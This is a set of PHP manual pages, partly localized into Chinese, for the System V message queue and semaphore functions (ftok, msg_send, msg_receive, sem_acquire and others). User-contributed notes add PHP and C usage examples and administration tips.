(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ftok — Convert a pathname and a project identifier to a System V IPC key

说明

ftok(string $filename, string $project_id): int

The function converts the filename of an existing accessible file and a project identifier into an integer for use with for example shmop_open() and other System V IPC keys.

参数

filename

Path to an accessible file.

project_id

Project identifier. This must be a one character string.

返回值

On success the return value will be the created key value, otherwise -1 is returned.

参见

  • shmop_open() - Create or open shared memory block
  • sem_get() - Get a semaphore id

User Contributed Notes

seelts at gmail dot com 13-Jan-2015 12:17
abk@avatartechnology.com has copied the code of daniele_dll@yahoo.it
But it is not correct.
The right version is here:
<?php
function ftok ($filePath, $projectId) {
    $fileStats = stat($filePath);
    if (!$fileStats) {
        return -1;
    }

    return sprintf('%u',
        ($fileStats['ino'] & 0xffff) | (($fileStats['dev'] & 0xff) << 16) | ((ord($projectId) & 0xff) << 24)
    );
}
?>

The difference is that $projectId string should be used as ASCII value via ord() function. Otherwise it will be interpreted as 0.
vlatko dot surlan at evorion dot hr 22-Apr-2013 10:09
The rather unintuitive usage of ftok with shm related functions like shmop_open and shm_attach could simply be explained as a need to avoid shm key collisions. Using ftok with a file that belongs to your project is likely to generate a unique key. Additionally, using ftok with a file from your project avoids the need to store the key so that other processes can access the segment because ftok will always give you the same key if you pass the same file.
Peter MOLNAR 18-May-2007 05:38
mbowie at buzmo dot com wrote:
"The result of this is that if you're using "1" as the id on the PHP side, you'll need to use 49 elsewhere."

You can always use chr() as an alternative.
marco at greenlightsolutions dot nl 17-Apr-2007 08:08
As ftok uses only the last 16 bits of the inode of the file, you can get collisions on large filesystems. Unfortunately, on large filesystems you can get collisions rather quickly: if you have a collection of 350-400 files, odds are that two of them have inodes with the same last 16 bits. So I've taken to using fileinode instead of ftok with functions like shmop_open.
mbowie at buzmo dot com 20-Oct-2004 02:41
If you're planning to use ftok() to generate an IPC identifier to share with other applications, note that PHP uses the ASCII value of the proj parameter to generate the key, not the proj (aka id) parameter itself.

The result of this is that if you're using "1" as the id on the PHP side, you'll need to use 49 elsewhere.

This may not be the case under all OS's, but certainly is for FreeBSD which requires the id parameter passed to ftok to be an int.

Also of note, ipcs and ipcrm are extremely useful for debugging SysV queues etc.

References:
http://www.freebsd.org/cgi/man.cgi?query=ftok
http://www.asciitable.com
abk at avatartechnology dot com 17-Jun-2004 01:17
Thanks to  daniele_dll@yahoo.it who got this in turn from linux glibc 2.3.2: http://www.php.net/manual/en/function.shmop-open.php -- I'm putting this here because it might be helpful to others.

function ftok($pathname, $proj_id) {
   $st = @stat($pathname);
   if (!$st) {
       return -1;
   }

   $key = sprintf("%u", (($st['ino'] & 0xffff) | (($st['dev'] & 0xff) << 16) | (($proj_id & 0xff) << 24)));
   return $key;
}
david dot rech at virusmedia dot de 26-May-2004 07:50
Missing ftok() on Windows? Here's my little workaround:

<?php
if( !function_exists('ftok') )
{
    function ftok($filename = "", $proj = "")
    {
        if( empty($filename) || !file_exists($filename) )
        {
            return -1;
        }
        else
        {
            $filename = $filename . (string) $proj;
            for($key = array(); sizeof($key) < strlen($filename); $key[] = ord(substr($filename, sizeof($key), 1)));
            return dechex(array_sum($key));
        }
    }
}?>

NOTE: There *may* be duplicate keys, even if probability is low.

The key's were NOT computed like the original UNIX ftok() because i.e. fileinode() is also missing on windows. Normally ftok() computes a key based on the file inode and the system minor id of the harddrive the file resides.

Behaviour is like PHPs ftok(), -1 is returned if file is missing or $filename is empty, computed int as hex on success.

--
Regards,
David Rech
kimaz at swecom dot org 02-May-2004 06:35
You dont have to use ftok() for specifying an System V IPC identifier, though its a good thing to do so.

Passing a regular int to, e.g. msg_get_queue, will have the same effect aslong as you use that value when reading/writing.

I use it for some minor tasks generating small queue's.
andreyKEINSPAM at php dot net 24-Apr-2004 09:43
This function is not part neither of ext/sysvsem nor ext/sysvshm but comes with the core functions of PHP (from ext/standard).


Create or attach to a message queue

  • ? ftok
  • msg_queue_exists ?
  • PHP Manual
  • Semaphore 函数
  • Create or attach to a message queue

msg_get_queue

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_get_queue — Create or attach to a message queue

说明

msg_get_queue(int $key, int $permissions = 0666): SysvMessageQueue|false

msg_get_queue() returns an id that can be used to access the System V message queue with the given key. The first call creates the message queue with the optional permissions. A second call to msg_get_queue() for the same key will return a different message queue identifier, but both identifiers access the same underlying message queue.

参数

key

Message queue numeric ID

permissions

Queue permissions. Default to 0666. If the message queue already exists, the permissions will be ignored.

返回值

Returns SysvMessageQueue instance that can be used to access the System V message queue, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | On success, this function returns a SysvMessageQueue instance now; previously, a resource was returned.

参见

  • msg_remove_queue() - Destroy a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_send() - Send a message to a message queue
  • msg_stat_queue() - Returns information from the message queue data structure
  • msg_set_queue() - Set information in the message queue data structure

User Contributed Notes

Joey 22-Jul-2019 11:10
I find it hard to work out how to really use this reliably particularly in respect to collisions.

It maps to SysV IPC msgget.

As I see it you have three options...

1. Manage the IDs yourself, allocating various ranges or using some kind of centralised mechanism.
2. Use ftok. This attempts to find a unique ID, though it's not guaranteed to be unique or constant in absolutely every circumstance. It relies on using a file, from which it uses bits from the inode and dev it expects to be unique. It's the standard way and as long as there's nothing too unusual it should probably work (but might not survive radical FS changes).
3. Use 0 as the key, which appears to map to IPC_PRIVATE, a magic value which if provided as a key creates a new queue each time (without a key in effect).

Unfortunately option #3 is of limited use in PHP.

In C that is useful might be useful as the queue resource is just identified by an int and can be passed around.

In PHP its utility is questionable as only the resource can be passed within a single process. It's not possible to pass the resource with serialize / unserialize even though it's just a wrapped int.

The msqid returned isn't exactly unpredictable either so can quite easily be accidentally accessed. The first one I got was 0.

If you create a queue like this you'll find it very annoying as it wont be possible to delete it via PHP.

Like all IO it's worth wrapping this function and launching an exception if the input is 0.
Michael Iatrou 02-Jul-2010 09:47
If you are getting the following message (on Linux):

Warning: msg_get_queue() [function.msg-get-queue]: failed for key 0x12345678: No space left on device in /path/to/script.php on line 1

aside from what [others have] suggested, you should also check and set an appropriate value for kernel parameter kernel.msgmni, e.g. sysctl -w kernel.msgmni=256
Morten Brrup 17-Mar-2010 01:08
IPC_CREAT has no effect in this function. The PHP source code (file sysvmsg.c) reveals that only if msgget(key,0) fails, msgget(key, IPC_CREAT | IPC_EXCL | perms) is used.
pail dot luo at gmail dot com 28-Feb-2009 09:22
A simple Sample to introduce Message Queue.

<?php
if ( sizeof($argv)<2 ) {
        echo "Usage: $argv[0] stat|send|receive|remove msgType MSG [msg] \n\n" ;
        echo "   EX: $argv[0] send 1 \"This is no 1\" \n" ;
        echo "       $argv[0] receive ID \n" ;
        echo "       $argv[0] stat \n" ;
        echo "       $argv[0] remove \n" ;
        exit;
}

$MSGKey = "123456" ;

## Create or attach to a message queue
$seg = msg_get_queue($MSGKey) ;

switch ( $argv[1] ) {
    case "send":
        msg_send($seg, $argv[2], $argv[3]);
        echo "msg_send done...\n" ;
        break;

    case "receive":
        $stat = msg_stat_queue( $seg );
        echo 'Messages in the queue: '.$stat['msg_qnum']."\n";
        if ( $stat['msg_qnum']>0 ) {
            msg_receive($seg, $argv[2], $msgtype, 1024, $data);
            var_dump($msgtype);
            var_dump($data);
            echo "\n";
        }
        else {
            echo "No Msg...\n";
        }
        break;

    case "stat":
      print_r( msg_stat_queue($seg) );
        break;

    case "remove":
        msg_remove_queue($seg);
        break;
}
?>
david dot schueler at tel-billig dot de 17-Dec-2008 08:17
If you are getting this message on your *NIX box:

Warning: msg_get_queue() [function.msg-get-queue]: failed for key 0x12345678: No space left on device in /path/to/script.php on line 1

you may use the command "ipcrm" as root to clear the message queue. Use "man ipcrm" to get more info on it.
The default setting for maximum messages in the queue is stored in /proc/sys/fs/mqueue/msg_max. To increase it to a maximum of 100 messages, just run:
echo 100 > /proc/sys/fs/mqueue/msg_max

Please ensure to follow a good programming style and close/free all your message queues before your script exits to avoid those warning messages.
martin dot velek at gmail dot com 01-Aug-2007 04:23
Lack of IPC_EXCL makes me unhappy. Of course, you can use ftok() to generate a unique key. This code is not allmighty, another process under the same user can open the queue and function returns true. But in some situation it could help.

code:

<?
function ipcEXCL($res,$perm)
{
 $pole = msg_stat_queue($res);

 if($pole['msg_perm.uid']==posix_getuid() &&
    $pole['msg_perm.gid']==posix_getgid()  &&
    $pole['msg_perm.mode']==$perm  &&
    $pole['msg_stime']==0  &&
    $pole['msg_rtime']==0  &&
    $pole['msg_qnum']==0  &&
    $pole['msg_lspid']==0  &&
    $pole['msg_rspid']==0)
        return true;
 else
        return false;
}

$res=msg_get_queue($key,$perm);

if(ipcEXCL($res,$perm))
   echo "probably I am a creator:";
else
   echo "probably not";
?>
joeldg AT listbid.com 02-May-2003 12:10
// Here is an example of working with message queues.
// if you have forked processes, this could be a great way of passing
// out work to them

// create the message queue
// pick a file..
  $key_t = msg_get_queue(ftok("/tmp/php_msgqueue.stat", 'R'),0666 | IPC_CREAT);

    // place two messages on the queue
    if (!msg_send ($key_t, 1, 'This is message #1', true, true, $msg_err))
       echo "Msg not sent because $msg_err\n";
    if (!msg_send ($key_t, 1, 'This is message #2 ', true, true, $msg_err))
       echo "Msg not sent because $msg_err\n";

    // lets look at the queue structure 'msg_qnum' is really what we want to see
    // it should be '2'
    print_r(msg_stat_queue($key_t));

    // pull off the stack
        if (msg_receive ($key_t, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
           if ($msg == 'Quit');
           echo "$msg\n"; // prints 'This is message #1'
        } else {
           echo "Received $msg_error fetching message\n";
        }
    // look at the structure again, ms_qnum should be '1'
    print_r(msg_stat_queue($key_t));
        if (msg_receive ($key_t, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
           if ($msg == 'Quit');
           echo "$msg\n"; // prints 'This is message #2'
        } else {
           echo "Received $msg_error fetching message\n";
        }
   // look at the structure again, ms_qnum should be '0', no more messages on the queue
   print_r(msg_stat_queue($key_t));

   // get rid of the queue we created
   msg_remove_queue ($key_t);


Check whether a message queue exists

  • ? msg_get_queue
  • msg_receive ?
  • PHP Manual
  • Semaphore 函数
  • Check whether a message queue exists

msg_queue_exists

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

msg_queue_exists — Check whether a message queue exists

说明

msg_queue_exists(int $key): bool

Checks whether the message queue key exists.

参数

key

Queue key.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • msg_remove_queue() - Destroy a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_stat_queue() - Returns information from the message queue data structure

User Contributed Notes

klatovsky at 2u2 dot cz 25-Oct-2018 02:14
This function is creating new queue (and returning true) if you set NULL into $key variable.

<?php

$isQueueCreated = msg_queue_exists(NULL);
print $isQueueCreated ? "WTF??!" : "ok, everything is fine..";

?>

WTF??!

# ipcs -q
0x00000000 173047808  root       0        0            0
tkuschel at loytec dot com 05-Jul-2012 08:40
Following code will do the job:
<?php
$key = 0;
while (true) {
  echo $key,"...\r";
  if (msg_queue_exists($key))
   echo "\r",$key,'::Exists',"\n";
   $key++;
}
?>
michael dot hajuu at gmail dot com 09-Mar-2011 05:01
A simple script for checking what message queues are in use on a [presumably new] server environment.

Run with php-cli

<?php
$k = 0;
while (true) {
  echo $key,"...\r";
  if (msg_queue_exists($key))
   echo "\r",$key,'::Exists',"\n";
   $key++;
}
?>
jaredm 10-Dec-2009 04:31
A workaround for those not yet running 5.3 on *nix:

<?php
function queue_exists($key) {
    if(function_exists("msg_queue_exists")) {
        return msg_queue_exists($key);
    } else {
        $aQueues = array();
        exec("ipcs -q | grep \"^[0-9]\" | cut -d \" \" -f 1", $aQueues);
        if(in_array($key,$aQueues)) return true;
        else return false;
    }
}
?>

Maybe a bit slow and kludgey, but it works.


Receive a message from a message queue

  • ? msg_queue_exists
  • msg_remove_queue ?
  • PHP Manual
  • Semaphore 函数
  • Receive a message from a message queue

msg_receive

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_receive — Receive a message from a message queue

说明

msg_receive(
SysvMessageQueue $queue,
int $desired_message_type,
int &$received_message_type,
int $max_message_size,
mixed &$message,
bool $unserialize = true,
int $flags = 0,
int &$error_code = null
): bool

msg_receive() will receive the first message from the specified queue of the type specified by desired_message_type.

参数

queue

The message queue.

desired_message_type

If desired_message_type is 0, the message from the front of the queue is returned. If desired_message_type is greater than 0, then the first message of that type is returned. If desired_message_type is less than 0, the first message on the queue with a type less than or equal to the absolute value of desired_message_type will be read. If no messages match the criteria, your script will wait until a suitable message arrives on the queue. You can prevent the script from blocking by specifying MSG_IPC_NOWAIT in the flags parameter.

received_message_type

The type of the message that was received will be stored in this parameter.

max_message_size

The maximum size of message to be accepted is specified by the max_message_size; if the message in the queue is larger than this size the function will fail (unless you set flags as described below).

message

The received message will be stored in message, unless there were errors receiving the message.

unserialize

If set to true, the message is treated as though it was serialized using the same mechanism as the session module. The message will be unserialized and then returned to your script. This allows you to easily receive arrays or complex object structures from other PHP scripts, or if you are using the WDDX serializer, from any WDDX compatible source.

If unserialize is false, the message will be returned as a binary-safe string.

flags

The optional flags allows you to pass flags to the low-level msgrcv system call. It defaults to 0, but you may specify one or more of the following values (by adding or ORing them together).

Flag values for msg_receive
MSG_IPC_NOWAIT | If there are no messages of the desired_message_type, return immediately and do not wait. The function will fail and return an integer value corresponding to MSG_ENOMSG.
MSG_EXCEPT | Using this flag in combination with a desired_message_type greater than 0 will cause the function to receive the first message that is not equal to desired_message_type.
MSG_NOERROR | If the message is longer than max_message_size, setting this flag will truncate the message to max_message_size and will not signal an error.

error_code

If the function fails, the optional error_code will be set to the value of the system errno variable.

返回值

成功时返回 true， 或者在失败时返回 false。

Upon successful completion the message queue data structure is updated as follows: msg_lrpid is set to the process-ID of the calling process, msg_qnum is decremented by 1 and msg_rtime is set to the current time.

更新日志

版本 | 说明
8.0.0 | queue expects a SysvMessageQueue instance now; previously, a resource was expected.

参见

  • msg_remove_queue() - Destroy a message queue
  • msg_send() - Send a message to a message queue
  • msg_stat_queue() - Returns information from the message queue data structure
  • msg_set_queue() - Set information in the message queue data structure

User Contributed Notes

soger 13-May-2019 12:28
It seems that a maxsize of 2Mb is some sort of a threshold for php, above that msg_receive() starts to use a lot of CPU (with a sender that is pushing messages non-stop receiving 10000 messages jumps up from 0.01 sec to 1.5 sec on my computer) so try to stay below that thresholod if you can.
marbledore at mail dot ru 16-Jun-2011 03:38
It looks like msg_receive() allocates a memory with size $maxsize, and only then tries to receive a message from queue into allocated memory. Because my script dies with $maxsize = 1 Gib, but works with $maxsize = 10 Kib.
eimers at mehrkanal dot com 19-Mar-2008 08:49
<?php error_reporting(E_ALL);
/**
 * Example for sending and receiving Messages via the System V Message Queue
 *
 * To try this script run it synchron/asynchron twice times. One time with ?typ=send and one time with ?typ=receive
 *
 * @author          Thomas Eimers - Mehrkanal GmbH
 *
 * This document is distributed in the hope that it will be useful, but without any warranty;
 * without even the implied warranty of merchantability or fitness for a particular purpose.
 */

header('Content-Type: text/plain; charset=ISO-8859-1');
echo "Start...\n";

// Create System V Message Queue. Integer value is the number of the Queue
$queue = msg_get_queue(100379);

// Sendoptions
$message='nachricht';     // Transfering Data
$serialize_needed=false;  // Must the transfer data be serialized ?
$block_send=false;        // Block if Message could not be send (Queue full...) (true/false)
$msgtype_send=1;          // Any Integer above 0. It signeds every Message. So you could handle multible message
                          // type in one Queue.

// Receiveoptions
$msgtype_receive=1;       // Whiche type of Message we want to receive ? (Here, the type is the same as the type we send,
                          // but if you set this to 0 you receive the next Message in the Queue with any type.
$maxsize=100;             // How long is the maximal data you like to receive.
$option_receive=MSG_IPC_NOWAIT; // If there are no messages of the wanted type in the Queue continue without wating.
                          // If is set to NULL wait for a Message.

// Send or receive 20 Messages
for ($i=0;$i<20;$i++) {
  sleep(1);
  // This one sends
  if ($_GET['typ']=='send') {
    if(msg_send($queue,$msgtype_send, $message,$serialize_needed, $block_send,$err)===true) {
      echo "Message sendet.\n";
    } else {
      var_dump($err);
    }
  // This one received
  } else {
    $queue_status=msg_stat_queue($queue);
    echo 'Messages in the queue: '.$queue_status['msg_qnum']."\n";

    // WARNUNG: nur weil vor einer Zeile Code noch Nachrichten in der Queue waren, muss das jetzt nciht mehr der Fall sein!
    if ($queue_status['msg_qnum']>0) {
      if (msg_receive($queue,$msgtype_receive ,$msgtype_erhalten,$maxsize,$daten,$serialize_needed, $option_receive, $err)===true) {
              echo "Received data".$daten."\n";
      } else {
              var_dump($err);
      }
    }
  }
}

?>
marvel at post dot cz 26-Jan-2008 02:27
Consider this e.g. Linux situation:

<?php
//file send.php
$ip = msg_get_queue(12340);
msg_send($ip,8,"abcd",false,false,$err);
//-----------------------------------------------------
<?php
//file receive.php
$ip = msg_get_queue(12340);

msg_receive($ip,0,$msgtype,4,$data,false,null,$err);
echo "msgtype {$msgtype} data {$data}\n";

msg_receive($ip,0,$msgtype,4,$data,false,null,$err);
echo "msgtype {$msgtype} data {$data}\n";
?>

Now run:
in terminal #1   php5 receive.php
in terminal #2   php5 receive.php
in terminal #3   php5 send.php

Showing messages from queue will flip-flop. It means you run once send.php, the message will be shown in terminal #1. Second run it will be in t#2, third #1 and so on.
webmaster at toolshed51 dot com 10-Apr-2003 03:56
This is meant to be run as your apache user in a terminal, call script in note of msg_send and they will communicate.

#! /usr/bin/env php
<?php
    $MSGKEY = 519051; // Message

    $msg_id = msg_get_queue ($MSGKEY, 0600);

    while (1) {
        if (msg_receive ($msg_id, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
            if ($msg == 'Quit') break;
            echo "$msg\n";
        } else {
            echo "Received $msg_error fetching message\n";
            break;
        }
    }

    msg_remove_queue ($msg_id);
?>


Destroy a message queue

  • ? msg_receive
  • msg_send ?
  • PHP Manual
  • Semaphore 函数
  • Destroy a message queue

msg_remove_queue

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_remove_queue — Destroy a message queue

说明

msg_remove_queue(SysvMessageQueue $queue): bool

msg_remove_queue() destroys the message queue specified by the queue. Only use this function when all processes have finished working with the message queue and you need to release the system resources held by it.

参数

queue

The message queue.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | queue expects a SysvMessageQueue instance now; previously, a resource was expected.

参见

  • msg_get_queue() - Create or attach to a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_stat_queue() - Returns information from the message queue data structure
  • msg_set_queue() - Set information in the message queue data structure

User Contributed Notes

There are no user contributed notes for this page.


Send a message to a message queue

  • ? msg_remove_queue
  • msg_set_queue ?
  • PHP Manual
  • Semaphore 函数
  • Send a message to a message queue

msg_send

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_send — Send a message to a message queue

说明

msg_send(
SysvMessageQueue $queue,
int $message_type,
string|int|float|bool $message,
bool $serialize = true,
bool $blocking = true,
int &$error_code = null
): bool

msg_send() sends a message of type message_type (which MUST be greater than 0) to the message queue specified by queue.

参数

queue

The message queue.

message_type

The type of the message (MUST be greater than 0)

message

The body of the message.

Note:

If serialize set to false is supplied, MUST be of type: string, int, float or bool. In other case a warning will be issued.

serialize

The optional serialize controls how the message is sent. serialize defaults to true which means that the message is serialized using the same mechanism as the session module before being sent to the queue. This allows complex arrays and objects to be sent to other PHP scripts, or if you are using the WDDX serializer, to any WDDX compatible client.

blocking

If the message is too large to fit in the queue, your script will wait until another process reads messages from the queue and frees enough space for your message to be sent. This is called blocking; you can prevent blocking by setting the optional blocking parameter to false, in which case msg_send() will immediately return false if the message is too big for the queue, and set the optional error_code to MSG_EAGAIN, indicating that you should try to send your message again a little later on.

error_code

If the function fails, the optional errorcode will be set to the value of the system errno variable.

返回值

成功时返回 true， 或者在失败时返回 false。

Upon successful completion the message queue data structure is updated as follows: msg_lspid is set to the process-ID of the calling process, msg_qnum is incremented by 1 and msg_stime is set to the current time.

更新日志

版本 | 说明
8.0.0 | queue expects a SysvMessageQueue instance now; previously, a resource was expected.

参见

  • msg_remove_queue() - Destroy a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_stat_queue() - Returns information from the message queue data structure
  • msg_set_queue() - Set information in the message queue data structure

User Contributed Notes

qeekin at gmail dot com 11-Apr-2014 08:51
I created example how to comunnicate with programe written in C throught messages queues. First run C program (it will create queue) then PHP script.

C code compile with: gcc -std=c99 -o test_queue test_queue.c

test_queue.c:
/**
* Example how to use System V Messages Queues with PHP and C program.
* This is simple server which create message queue and receive message from it.
* Based on Beej's Guide to Unix IPC
* Autor: Jan Drazil, <qeekin at gmail dot com>
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

/* Buffer struct for receiving messages */
struct php_buf {
    long mtype;
    char msg[200];
};

int main(void)
{
    struct php_buf buf;
    int msqid;
    key_t key;

    /* Generate key (/var/www/index.php must be accessible file) */
    if((key = ftok("/var/www/index.php", 'G')) == -1) {
        perror("ftok");
        exit(EXIT_FAILURE);
    }

    /* Create message queue */
    if((msqid = msgget(key, 0666 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(EXIT_FAILURE);
    }

    printf("Ready to get string from PHP!\n");

    /* Receive message */
    if(msgrcv(msqid, &buf, sizeof(buf.msg)-1, 0, 0) == -1) {
        perror("msgrcv");
        exit(EXIT_FAILURE);
    }

    /* Eliminate segmentation fault */
    buf.msg[199] = '\0';

    printf("Recieved from PHP: %s\n", buf.msg);

    /* Destroy message queue */
    if(msgctl(msqid, IPC_RMID, NULL) == -1) {
        perror("msgctl");
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}

test_queue.php:
<?php
/**
* Example how to use System V Messages Queues with PHP and C program.
* This is simple server which create message queue and receive message from it.
* Based on Beej's Guide to Unix IPC
* Autor: Jan Drazil, <qeekin at gmail dot com>
*/

/* Generate key, param fot ftok must be same as in test_msg.c */
if(($key = ftok("/var/www/index.php", "G")) == -1)
    die("ftok");

if(!msg_queue_exists($key))
    die("message queue doesn't exists");

/* Connect to message queue */
if(($msqid = msg_get_queue($key)) === FALSE)
    die("msg_get_queue");

echo "Sending text to msg queue.\n";

/* Send message to C program */
if(!msg_send($msqid, 12, "Hello from PHP!\0", false))
    die("msg_send");

echo "Done"
?>
Muffinman 15-Nov-2012 10:24
When sending non-complex (serialize = false) messages to a program in C, you need to add the null character to the string (\0). Otherwise the previous message will be partially visible if it is longer than the current message. Took some kind help from comp.lang.php for me to figure that out. While it seems so obvious now, I thought I'd share it here.
michael dot NO dot SP dot AM dot cordover+php at gmail dot com 16-Oct-2009 04:10
After about an hour of debugging I've discovered the meaning of the undocumented "PHP Warning: msg_send(): msgsnd failed: Invalid argument" ($errorcode = 13).

This occurred when the size of $message was larger than msg_qbytes (see msg_stat_queue() for how to determine and change msg_qbytes).
shepik at yandex dot ru 02-Jul-2009 07:04
$msgtype used in msg_send function can be any positive integer.
bryan-boone at msn dot com 14-May-2008 03:39
I think it is kinda lame why I cannot find out (easily) explicitly which types of messages are allowed and which ones are not.  Maybe we can start our own little list.  I know that strings work, and arrays do not.
webmaster at toolshed51 dot com 10-Apr-2003 03:51
Sample sending webpage, see msg_receive for matching service

<?php
    $MSGKEY = 519051;

    $msg_id = msg_get_queue ($MSGKEY, 0600);

    if (!msg_send ($msg_id, 1, 'Hi', true, true, $msg_err))
        echo "Msg not sent because $msg_err\n";
?>


Set information in the message queue data structure

  • ? msg_send
  • msg_stat_queue ?
  • PHP Manual
  • Semaphore 函数
  • Set information in the message queue data structure

msg_set_queue

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_set_queue — Set information in the message queue data structure

说明

msg_set_queue(SysvMessageQueue $queue, array $data): bool

msg_set_queue() allows you to change the values of the msg_perm.uid, msg_perm.gid, msg_perm.mode and msg_qbytes fields of the underlying message queue data structure.

Changing the data structure will require that PHP be running as the same user that created the queue, owns the queue (as determined by the existing msg_perm.xxx fields), or be running with root privileges. root privileges are required to raise the msg_qbytes values above the system defined limit.

参数

queue

The message queue.

data

You specify the values you require by setting the value of the keys that you require in the data array.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | queue expects a SysvMessageQueue instance now; previously, a resource was expected.

参见

  • msg_remove_queue() - Destroy a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_stat_queue() - Returns information from the message queue data structure
  • msg_get_queue() - Create or attach to a message queue

User Contributed Notes

webmaster at toolshed51 dot com 16-May-2003 03:50
Example:
$msg_id = msg_get_queue (12341234, 0600);
msg_set_queue ($msg_id, array ('msg_perm.uid'=>'80'));

List of all possible keys at documentation for msg_stat_queue


Returns information from the message queue data structure

  • ? msg_set_queue
  • sem_acquire ?
  • PHP Manual
  • Semaphore 函数
  • Returns information from the message queue data structure

msg_stat_queue

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_stat_queue — Returns information from the message queue data structure

说明

msg_stat_queue(SysvMessageQueue $queue): array|false

msg_stat_queue() returns the message queue meta data for the message queue specified by the queue. This is useful, for example, to determine which process sent the message that was just received.

参数

queue

The message queue.

返回值

On success, the return value is an array whose keys and values have the following meanings:

Array structure for msg_stat_queue
msg_perm.uid | The uid of the owner of the queue.
msg_perm.gid | The gid of the owner of the queue.
msg_perm.mode | The file access mode of the queue.
msg_stime | The time that the last message was sent to the queue.
msg_rtime | The time that the last message was received from the queue.
msg_ctime | The time that the queue was last changed.
msg_qnum | The number of messages waiting to be read from the queue.
msg_qbytes | The maximum number of bytes allowed in one message queue. On Linux, this value may be read and modified via /proc/sys/kernel/msgmnb.
msg_lspid | The pid of the process that sent the last message to the queue.
msg_lrpid | The pid of the process that received the last message from the queue.

Returns false on failure.

更新日志

版本 | 说明
8.0.0 | queue expects a SysvMessageQueue instance now; previously, a resource was expected.

参见

  • msg_remove_queue() - Destroy a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_get_queue() - Create or attach to a message queue
  • msg_set_queue() - Set information in the message queue data structure

User Contributed Notes

There are no user contributed notes for this page.


Acquire a semaphore

  • ? msg_stat_queue
  • sem_get ?
  • PHP Manual
  • Semaphore 函数
  • Acquire a semaphore

sem_acquire

(PHP 4, PHP 5, PHP 7, PHP 8)

sem_acquire — Acquire a semaphore

说明

sem_acquire(SysvSemaphore $semaphore, bool $non_blocking = false): bool

sem_acquire() by default blocks (if necessary) until the semaphore can be acquired. A process attempting to acquire a semaphore which it has already acquired will block forever if acquiring the semaphore would cause its maximum number of semaphore to be exceeded.

After processing a request, any semaphores acquired by the process but not explicitly released will be released automatically and a warning will be generated.

参数

semaphore

semaphore is a semaphore obtained from sem_get().

non_blocking

Specifies if the process shouldn't wait for the semaphore to be acquired. If set to true, the call will return false immediately if a semaphore cannot be immediately acquired.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | semaphore expects a SysvSemaphore instance now; previously, a resource was expected.

参见

  • sem_get() - Get a semaphore id
  • sem_release() - Release a semaphore

User Contributed Notes

Ben 09-Sep-2020 05:50
I recently had to use semaphores to avoid running an update of a database concurrently.

For testing it I used two browser windows (chrome) on the same Desktop.

In this case semaphores did not work as expected.
Also flock on a file did not work as expected.

Running the script from command line did work as expected.

As soon as I used two different browsers, one on my desktop another within a virutal machine, it works like expected.

Hope that helps anybody avoiding strange debugging sessions on this topic...
anatoliy at ukhvanovy dot name 06-Feb-2015 09:25
If you need non-blocking semaphores, here is an example how you may implement it. Use a shared memory variable to mark whether or not a lock exists and then use a semaphore around operations against that variable. I'll call my shared variable as 'token'.

<?php
echo '<pre>';

$resourceSemaphore = sem_get(7);
$tokenSemaphore = sem_get(8);
$tokenValue = shm_attach(9, 100);

function myEcho($v) {
    echo microtime() . ' ' . $v . "\n";
}

// sem_remove($resourceSemaphore);
// sem_remove($tokenSemaphore);
// exit();

function try_lock() {
    global $resourceSemaphore, $tokenSemaphore, $tokenValue;
    myEcho('begin try_lock()');
    myEcho('acquire token semaphore');
    sem_acquire($tokenSemaphore);
    myEcho('    token semaphore acquired');
    $tmp = shm_get_var($tokenValue, 6);
    myEcho('    token value: ' . var_export($tmp, true));
    $exit = $tmp;
    if (!$exit) {
        $tmp = shm_put_var($tokenValue, 6, true);
        $tmp = shm_get_var($tokenValue, 6);
        myEcho('    token new value: ' . var_export($tmp, true));
    }
    myEcho('release token semaphore');
    sem_release($tokenSemaphore);
    if ($exit) return false;
    myEcho('acquire resource semaphore');
    sem_acquire($resourceSemaphore);
    myEcho('    resource semaphore acquired');
    return true;
}

function release() {
    global $resourceSemaphore, $tokenSemaphore, $tokenValue;
    myEcho('release resource semaphore');
    sem_release($resourceSemaphore);
    myEcho('acquire token semaphore');
    sem_acquire($tokenSemaphore);
    myEcho('    token semaphore acquired');
    $tmp = shm_get_var($tokenValue, 6);
    myEcho('    token value: ' . var_export($tmp, true));
    $tmp = shm_put_var($tokenValue, 6, false);
    $tmp = shm_get_var($tokenValue, 6);
    myEcho('    token new value: ' . var_export($tmp, true));
    myEcho('release token semaphore');
    sem_release($tokenSemaphore);
}

for ($triesLeft = 5; $triesLeft > 0 && !try_lock(); $triesLeft--) {
    myEcho('failed to acquire resource');
    myEcho('wait for 1 sec');
    sleep(1);
    myEcho('try again');
}
myEcho('    access the resource for 4 sec');
//paste here your code, accessing your resource
sleep(4);
release();
myEcho('the end');
?>
When I execute this script in two parallel instances, I get the following output:
-------(first instance)----------------------------------------
... 482 begin try_lock()
... 482 acquire token semaphore
... 482     token semaphore acquired
... 482     token value: false
... 482     token new value: true
... 482 release token semaphore
... 482 acquire resource semaphore
... 482     resource semaphore acquired
... 482     access the resource for 4 sec
... 486 release resource semaphore
... 486 acquire token semaphore
... 486     token semaphore acquired
... 486     token value: true
